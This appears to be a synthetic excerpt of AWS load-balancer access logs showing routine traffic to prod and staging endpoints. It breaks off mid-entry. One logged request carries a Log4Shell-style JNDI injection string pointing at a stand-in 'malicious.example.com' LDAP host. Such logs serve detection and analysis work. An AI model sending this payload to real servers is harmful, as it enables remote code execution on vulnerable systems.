TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbdd-275bc003f9484f0c9504961b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:18:21.520175Z "forward" "-" "-" "10.0.135.41:443" "301" "-" "-" -https 2024-11-01T00:18:22.392363Z prod-web-alb 157.108.177.1:36206 10.0.85.199:443 0.099051 0.384409 0.089438 200 200 986 8378 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbde-4302a716b82c408095887231" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:22.392363Z "forward" "-" "-" "10.0.85.199:443" "200" "-" "-" -https 2024-11-01T00:18:22.495025Z prod-api-alb 219.111.238.251:47004 10.0.67.159:443 0.014423 0.198635 0.000998 200 200 441 272 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbde-334d763a5c65497db7fe1c89" "prod-api-alb.example.com" "-" 6 2024-11-01T00:18:22.495025Z "forward" "-" "-" "10.0.67.159:443" "200" "-" "-" -https 2024-11-01T00:18:23.008740Z prod-api-alb 145.236.26.136:43140 10.0.125.235:443 0.093076 0.276761 0.075856 301 301 907 8217 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbdf-3b301879c11e49ca90f4e1de" "prod-api-alb.example.com" "-" 10 2024-11-01T00:18:23.008740Z "forward" "-" "-" "10.0.125.235:443" "301" "-" "-" -https 2024-11-01T00:18:23.700738Z prod-web-alb 89.141.30.162:36101 10.0.13.67:443 0.060034 0.208820 0.057371 200 200 447 2030 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbdf-f497d337be5740be8c2e91f0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:18:23.700738Z "forward" "-" "-" "10.0.13.67:443" "200" "-" "-" -http 2024-11-01T00:18:25.091099Z staging-alb 125.18.59.152:35782 166.253.58.77:8080 0.020985 0.000411 0.098826 301 301 817 8134 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe1-f65d728c173e494daa2cbdc7" "staging-alb.example.com" "-" 4 2024-11-01T00:18:25.091099Z "forward" "-" "-" "166.253.58.77:8080" "301" "-" "-" -https 2024-11-01T00:18:27.071199Z prod-api-alb 80.14.14.54:52619 10.0.218.87:443 0.047530 0.443579 0.057109 301 301 98 3929 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbe3-ce0f2b4520b34e98832ca7aa" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:27.071199Z "forward" "-" "-" "10.0.218.87:443" "301" "-" "-" -https 2024-11-01T00:18:28.905675Z staging-alb 199.92.230.245:47017 110.57.19.239:443 0.079871 0.654307 0.012245 200 200 22 1866 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe4-ac26a3cd868f4215894f1cb6" "staging-alb.example.com" "-" 8 2024-11-01T00:18:28.905675Z "forward" "-" "-" "110.57.19.239:443" "200" "-" "-" -https 2024-11-01T00:18:29.841587Z staging-alb 238.179.26.143:57854 158.254.198.167:443 0.094288 0.506902 0.045725 302 302 970 8458 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe5-76f6d7be6e52485a94888821" "staging-alb.example.com" "-" 6 2024-11-01T00:18:29.841587Z "forward" "-" "-" "158.254.198.167:443" "302" "-" "-" -http 2024-11-01T00:18:30.318210Z staging-alb 185.194.10.169:39632 99.226.112.177:80 0.078866 0.679196 0.139413 200 200 255 12404 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe6-b168fae518eb4c2cb878ce5c" "staging-alb.example.com" "-" 9 2024-11-01T00:18:30.318210Z "forward" "-" "-" "99.226.112.177:80" "200" "-" "-" -https 2024-11-01T00:18:30.628277Z staging-alb 173.33.99.137:38895 20.63.154.104:8080 0.090543 0.733647 0.113835 302 302 621 5821 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe6-0523b0688dfd4018943d187a" "staging-alb.example.com" "-" 3 2024-11-01T00:18:30.628277Z "forward" "-" "-" "20.63.154.104:8080" "302" "-" "-" -https 2024-11-01T00:18:31.724698Z prod-web-alb 188.190.2.25:14677 10.0.55.118:443 0.008680 0.407367 0.051316 200 200 295 7337 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbe7-9df215f5ed2d421080a6413a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:18:31.724698Z "forward" "-" "-" "10.0.55.118:443" "200" "-" "-" -https 2024-11-01T00:18:32.898129Z prod-api-alb 121.14.200.38:18747 10.0.72.142:443 0.036660 0.341828 0.084952 200 200 763 5930 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbe8-51e7f40970ee40e4b0756595" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:32.898129Z "forward" "-" "-" "10.0.72.142:443" "200" "-" "-" -http 2024-11-01T00:18:33.402148Z staging-alb 12.237.179.7:31279 238.51.155.202:443 0.131845 0.564540 0.043928 200 200 536 9448 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe9-f2a2a2c0bc95427d81183c9a" "staging-alb.example.com" "-" 4 2024-11-01T00:18:33.402148Z "forward" "-" "-" "238.51.155.202:443" "200" "-" "-" -https 2024-11-01T00:18:34.364816Z prod-web-alb 58.178.208.70:24932 10.0.237.138:443 0.042581 0.247571 0.030738 200 200 581 14443 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbea-ccd53cc92b8947f0ac5c226e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:18:34.364816Z "forward" "-" "-" "10.0.237.138:443" "200" "-" "-" -https 2024-11-01T00:18:34.638529Z staging-alb 113.225.217.240:41668 111.177.71.185:443 0.094927 0.446893 0.025302 200 200 823 517 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbea-b9da30ec47c44bfd889e6c42" "staging-alb.example.com" "-" 3 2024-11-01T00:18:34.638529Z "forward" "-" "-" "111.177.71.185:443" "200" "-" "-" -https 2024-11-01T00:18:35.042560Z prod-web-alb 179.69.241.218:32285 10.0.223.253:443 0.009266 0.378673 0.076610 200 200 768 2966 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbeb-a8c8a898306b4e62afd8de0d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:18:35.042560Z "forward" "-" "-" "10.0.223.253:443" "200" "-" "-" -https 2024-11-01T00:18:35.779046Z prod-web-alb 26.179.89.218:39495 10.0.110.183:443 0.087123 0.236524 0.056031 200 200 681 5737 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbeb-1c16bc85e52c4da092e7efe2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:18:35.779046Z "forward" "-" "-" "10.0.110.183:443" "200" "-" "-" -https 2024-11-01T00:18:37.242031Z staging-alb 216.122.9.80:29297 179.14.60.94:8080 0.097177 0.347700 0.072465 404 404 227 11630 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbed-0a0d1f07f7ea47a49babd699" "-" "-" 9 2024-11-01T00:18:37.242031Z "forward" "-" "-" "179.14.60.94:8080" "404" "-" "-" -https 2024-11-01T00:18:38.647296Z prod-web-alb 127.254.155.81:30801 10.0.5.195:443 0.061233 0.282631 0.089957 200 200 806 8117 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbee-e69cafc5c2f34fd09dbb7c7d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:18:38.647296Z "forward" "-" "-" "10.0.5.195:443" "200" "-" "-" -https 2024-11-01T00:18:40.000701Z staging-alb 79.132.217.148:42001 66.249.95.168:8080 0.084000 0.682067 0.042152 301 301 771 10108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbf0-22cefc8bada54164a0083aa0" "staging-alb.example.com" "-" 9 2024-11-01T00:18:40.000701Z "forward" "-" "-" "66.249.95.168:8080" "301" "-" "-" -https 2024-11-01T00:18:40.626458Z prod-web-alb 137.70.162.16:56971 10.0.121.133:443 0.074124 0.163639 0.047430 200 200 247 5111 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbf0-9fd129a6af3a4dac98e63517" "prod-web-alb.example.com" "-" 7 2024-11-01T00:18:40.626458Z "forward" "-" "-" "10.0.121.133:443" "200" "-" "-" -https 2024-11-01T00:18:41.197627Z prod-api-alb 254.21.164.9:29842 10.0.47.88:443 0.043854 0.095303 0.019214 302 302 982 4069 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbf1-5235156dc86342d986f1cbe6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:18:41.197627Z "forward" "-" "-" "10.0.47.88:443" "302" "-" "-" -https 2024-11-01T00:18:43.038116Z staging-alb 178.199.171.204:45377 76.82.217.148:8080 0.021995 0.105534 0.046546 404 404 483 14083 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbf3-a906aba87a3841aea54b80cc" "staging-alb.example.com" "-" 8 2024-11-01T00:18:43.038116Z "forward" "-" "-" "76.82.217.148:8080" "404" "-" "-" -https 2024-11-01T00:18:44.764057Z prod-api-alb 70.51.223.59:29372 10.0.217.178:443 0.052662 0.003055 0.061136 200 200 249 9662 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbf4-6bb1a1e8f7e6482186f746c4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:44.764057Z "forward" "-" "-" "10.0.217.178:443" "200" "-" "-" -https 2024-11-01T00:18:45.899719Z staging-alb 45.155.205.66:46943 66.249.44.96:80 0.100358 0.431758 0.128512 500 500 786 4944 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbf5-4f02acd27da34555926c3452" "-" "-" 8 2024-11-01T00:18:45.899719Z "forward" "-" "-" "66.249.44.96:80" "500" "-" "-" -https 2024-11-01T00:18:47.858422Z prod-api-alb 143.145.9.105:59062 10.0.19.33:443 0.057998 0.298462 0.033520 200 200 717 4560 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbf7-2f65151d6ae644459806b78f" "prod-api-alb.example.com" "-" 3 2024-11-01T00:18:47.858422Z "forward" "-" "-" "10.0.19.33:443" "200" "-" "-" -https 2024-11-01T00:18:49.498336Z staging-alb 177.114.176.99:37744 103.40.54.208:80 0.099758 0.353942 0.088216 200 200 356 12994 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbf9-072deddab7f74dc692195b56" "staging-alb.example.com" "-" 4 2024-11-01T00:18:49.498336Z "forward" "-" "-" "103.40.54.208:80" "200" "-" "-" -https 2024-11-01T00:18:49.692656Z prod-web-alb 201.70.37.145:26121 10.0.9.182:443 0.083169 0.189253 0.020557 200 200 202 615 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbf9-efe6b0891d064e74bed078e6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:18:49.692656Z "forward" "-" "-" "10.0.9.182:443" "200" "-" "-" -https 2024-11-01T00:18:50.037149Z prod-api-alb 55.158.230.181:57110 10.0.73.245:443 0.076270 0.126362 0.042960 404 404 315 2602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbfa-77262a7dc46b4d7cbe8aded7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:18:50.037149Z "forward" "-" "-" "10.0.73.245:443" "404" "-" "-" -https 2024-11-01T00:18:51.286066Z prod-web-alb 135.97.247.179:37295 10.0.228.197:443 0.082878 0.273655 0.047967 301 301 188 11706 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbfb-97e6ea9e4b344e18aeaab33a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:51.286066Z "forward" "-" "-" "10.0.228.197:443" "301" "-" "-" -https 2024-11-01T00:18:52.112058Z staging-alb 107.113.151.171:56145 186.217.114.75:443 0.088308 0.671633 0.005878 302 302 4 5993 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbfc-8130d7c3038441f5887d2728" "staging-alb.example.com" "-" 3 2024-11-01T00:18:52.112058Z "forward" "-" "-" "186.217.114.75:443" "302" "-" "-" -http 2024-11-01T00:18:53.989611Z staging-alb 247.83.52.133:13500 248.238.197.81:80 0.094306 0.097096 0.080586 200 200 211 4731 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbfd-1b35a86b87144e34982bb150" "staging-alb.example.com" "-" 3 2024-11-01T00:18:53.989611Z "forward" "-" "-" "248.238.197.81:80" "200" "-" "-" -https 2024-11-01T00:18:55.035961Z prod-api-alb 244.41.21.224:13551 10.0.196.111:443 0.085090 0.123829 0.089450 404 404 952 10523 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbff-d40c513291924cbda19999a1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:55.035961Z "forward" "-" "-" "10.0.196.111:443" "404" "-" "-" -https 2024-11-01T00:18:56.561859Z prod-web-alb 89.47.247.32:41479 10.0.26.206:443 0.022157 0.111280 0.045000 200 200 164 14101 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc00-740bb1fc04aa4bfcaba594ee" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:56.561859Z "forward" "-" "-" "10.0.26.206:443" "200" "-" "-" -https 2024-11-01T00:18:57.588809Z prod-web-alb 51.7.37.197:36968 10.0.243.205:443 0.021210 0.066845 0.081945 200 200 811 608 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc01-bbc68bc3b5b94055abe21e9a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:18:57.588809Z "forward" "-" "-" "10.0.243.205:443" "200" "-" "-" -https 2024-11-01T00:18:59.567185Z staging-alb 4.219.42.46:17541 44.246.249.115:8080 0.111768 0.113789 0.086322 404 404 952 11204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc03-828eb244b5cb4a8485d06839" "staging-alb.example.com" "-" 0 2024-11-01T00:18:59.567185Z "forward" "-" "-" "44.246.249.115:8080" "404" "-" "-" -https 2024-11-01T00:19:00.449655Z staging-alb 193.168.181.12:16203 26.139.119.203:80 0.011009 0.628028 0.008524 200 200 703 7422 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc04-6b240c166a064d79931cc52a" "staging-alb.example.com" "-" 2 2024-11-01T00:19:00.449655Z "forward" "-" "-" "26.139.119.203:80" "200" "-" "-" -https 2024-11-01T00:19:01.561774Z prod-web-alb 136.40.212.43:12125 10.0.109.179:443 0.086994 0.074173 0.064463 200 200 555 7292 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc05-ea933c7a38a64e6b88865c76" "prod-web-alb.example.com" "-" 10 2024-11-01T00:19:01.561774Z "forward" "-" "-" "10.0.109.179:443" "200" "-" "-" -https 2024-11-01T00:19:02.751080Z staging-alb 192.18.81.174:31734 99.76.103.216:8080 0.141513 0.267572 0.072840 301 301 267 3871 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc06-5b1070c45de2479eacdfd82f" "staging-alb.example.com" "-" 4 2024-11-01T00:19:02.751080Z "forward" "-" "-" "99.76.103.216:8080" "301" "-" "-" -http 2024-11-01T00:19:03.110358Z staging-alb 52.204.167.31:17694 43.90.167.196:80 0.112578 0.306341 0.109199 302 302 560 11473 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc07-69f0d753fe624d3dadef0f00" "staging-alb.example.com" "-" 0 2024-11-01T00:19:03.110358Z "forward" "-" "-" "43.90.167.196:80" "302" "-" "-" -https 2024-11-01T00:19:04.019724Z prod-api-alb 156.213.209.79:45484 10.0.124.208:443 0.073632 0.095521 0.095619 404 404 218 8009 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc08-3c4699030a89462583bcad1a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:04.019724Z "forward" "-" "-" "10.0.124.208:443" "404" "-" "-" -https 2024-11-01T00:19:05.842903Z prod-api-alb 89.223.180.178:22586 10.0.72.173:443 0.088568 0.183645 0.026525 302 302 202 5733 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc09-70b6e63492c5449cac338c16" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:05.842903Z "forward" "-" "-" "10.0.72.173:443" "302" "-" "-" -https 2024-11-01T00:19:07.777274Z prod-api-alb 33.59.118.72:55286 10.0.202.99:443 0.008831 0.366979 0.044229 200 200 886 14220 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0b-671af559c64b4d77a8697ec8" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:07.777274Z "forward" "-" "-" "10.0.202.99:443" "200" "-" "-" -https 2024-11-01T00:19:08.816648Z prod-api-alb 147.249.160.124:28138 10.0.193.243:443 0.084169 0.496781 0.025706 200 200 205 5412 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc0c-caefd5289c7742a984698cbd" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:08.816648Z "forward" "-" "-" "10.0.193.243:443" "200" "-" "-" -http 2024-11-01T00:19:10.074922Z staging-alb 22.93.252.94:52627 74.110.148.90:8080 0.060530 0.468859 0.036824 200 200 76 3967 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc0e-9260cb7e0af74ae4a6eae097" "staging-alb.example.com" "-" 5 2024-11-01T00:19:10.074922Z "forward" "-" "-" "74.110.148.90:8080" "200" "-" "-" -https 2024-11-01T00:19:11.122822Z prod-web-alb 150.197.122.135:40035 10.0.187.111:443 0.057780 0.468946 0.094208 302 302 715 1517 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc0f-ebaf3cfacd6f470e9cedf1ed" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:11.122822Z "forward" "-" "-" "10.0.187.111:443" "302" "-" "-" -https 2024-11-01T00:19:11.405683Z prod-api-alb 237.117.71.185:53452 10.0.121.172:443 0.016842 0.226252 0.022358 302 302 489 13054 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0f-d3b7b7b550ab4353bce7da0d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:11.405683Z "forward" "-" "-" "10.0.121.172:443" "302" "-" "-" -https 2024-11-01T00:19:11.959270Z prod-api-alb 254.142.129.172:28022 10.0.238.47:443 0.089080 0.107410 0.024416 302 302 642 10790 "GET /api/v2/users HTTP/1.1" 